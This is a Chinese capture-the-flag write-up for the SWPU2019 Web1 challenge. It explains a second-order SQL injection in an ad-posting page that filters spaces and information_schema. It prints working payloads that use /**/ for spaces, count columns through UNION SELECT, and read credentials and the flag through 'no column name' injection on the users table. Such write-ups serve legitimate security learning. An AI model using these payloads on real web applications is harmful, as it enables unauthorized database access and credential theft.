[SWPU2019]Web1

知识点:

baypass iinformation_schema

参考链接:https://www.anquanke.com/post/id/193512

无列名注入

https://evi1cg.me/archives/sqli_without_knowing_columns_names.html#0x01-%E4%B8%8D%E4%BD%BF%E7%94%A8%E8%A1%A8%E5%90%8D%E6%9F%A5%E8%AF%A2

解题:

进去就是登录注册界面,随便注册一个登陆进去发现是一个发布广告的页面,在发布广告的时候添加,没有报错,但是在查看广告的时候报错,说明二次注入,其实这也导致我不能puzz去知道大概过滤了些什么东西,这些让我的思路被限制了,看了wp,过滤了空格,information_schema(很重要的一个库,里面包含了后台所以库名,表名,列名),所以需要用到无列名注入

先查询列数,payload如下:

-1‘/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/‘

依次增加数字,直到不报错为止:

[SWPU2019]Web1

再通过无列名注入读取数据,经过类似-1‘/**/union/**/select/**/1,uesr(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/‘依次用user()去替换数字,发现2,3号位可以回显,直接payload:

-1‘/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/‘

得到

[SWPU2019]Web1

上面得到的信息类似于:

username password
2 ...
flag ...
admin ...
1 ...

所以我们需要读取下一列,直接在3处读取flag即可,payload如下:

-1‘/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/‘

得到flag:

[SWPU2019]Web1

总结:

sql注入题都是有很多被过滤的,遇到不能puzz的,还是要自己多去尝试,看什么被过滤了,再以此来绕过

参考文章:

https://www.cnblogs.com/wangtanzhi/p/12241499.html

https://www.anquanke.com/post/id/193512

https://evi1cg.me/archives/sqli_without_knowing_columns_names.html#0x01-%E4%B8%8D%E4%BD%BF%E7%94%A8%E8%A1%A8%E5%90%8D%E6%9F%A5%E8%AF%A2

[SWPU2019]Web1

上一篇:【并发编程】- 内存模型(针对JSR-133内存模型)篇


下一篇:Apache 2.4 编译 configure: WARNING: Your APR does not include SSL/EVP support. To enable it: configure --with-crypto